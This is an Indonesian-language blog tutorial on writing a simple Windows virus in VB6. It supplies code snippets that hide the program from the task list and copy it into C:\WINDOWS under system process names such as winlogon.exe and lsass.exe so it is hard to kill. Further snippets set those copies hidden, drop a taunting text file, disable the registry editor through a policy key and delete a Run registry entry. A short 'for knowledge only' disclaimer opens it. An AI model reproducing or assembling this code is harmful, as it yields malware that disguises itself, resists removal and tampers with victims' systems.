Create Virus With VB6

Bikin Virus Pake VB6

Pada Saat ini saya akan sedikit berbagi gimana cara bikin virus pake VB6.
seperti biasa, tulisan dibawah ini hanya buat nambah pengetahuan kita aja. dan nggak boleh buat kejahatan.
Dan aku nggak bertanggung jawab atas segala penyalahgunaan isi tulisan diblog ini..
Ok. kalo kamu setuju, lanjut.....

Sekarang e sekarang, kita mo bikin virus pake VB6.
pertama, bikin form buat virus kamu pake standard exe aja.
dari pade bingung
ngejelasinnya aku kasih kodenya aja. biar pada blajar skalian.kan udah gedhe..
'cape dewh'

buat postingan yang pertama ni tak kasih kode yang simpel aja. yang ngga pake deklarasi. biar gak terlalu bingung. 'aku aja masih bingung' hehehe,,



1. Nyembunyiin Form form visible


Private Sub Form_Load()
App.TaskVisible = False
End Sub



2. Kopiin Diri Sendiri


misalna mo dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe

biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + ".exe", "C:\WINDOWS\winlogon.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\csrss.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\services.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\smss.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\lsass.exe"



3. Bikin Direktori ato folder

misalnya bikin folder di windows direktori
On Error Resume Next
MkDir "C:\WINDOWS\virus"


4. Mengganti Atribut file

bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
sembunyi.GetFile("C:\WINDOWS\winlogon.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\csrss.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\services.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\smss.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\lsass.exe").Attributes = 2
tapi kalo folder pakenya
sembunyi.GetFolder("C:\WINDOWS\").Attributes = 2


5. Bikin Pesan Virus

bikin pesen pake text file
On Error Resume Next
Set bikinpesen = CreateObject("Scripting.FileSystemObject")
Set isipesen = bikinpesen.Createtextfile("C:\baca saya.txt ")
isipesen.writeline ("komputer kamu kena virus bodoh ")
isipesen.Close


6.Ngubah Registry

misalna mo disable regedit
On Error Resume Next
Set ubahreg = CreateObject("WScript.Shell")
ubahreg.regwrite "HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools", 1, "REG_DWORD"


7.Nghapus Registry

misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon

On Error Resume Next
Set hapusreg = CreateObject("WScript.Shell")
hapusreg.regdelete "HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon"

udah dulu yawh, besok disambung lagi... dah ngantuk ni,, padahal cuman bentar. yang lama nulisnya..

besok bikin virusna yang pake deklarasi biar nggak terkesan bodo virusnya. skalian aku pelajari dulu. cz, aku ndiri nggak bgitu paham pake deklarasi.. hehe,,, cape dewh'' :)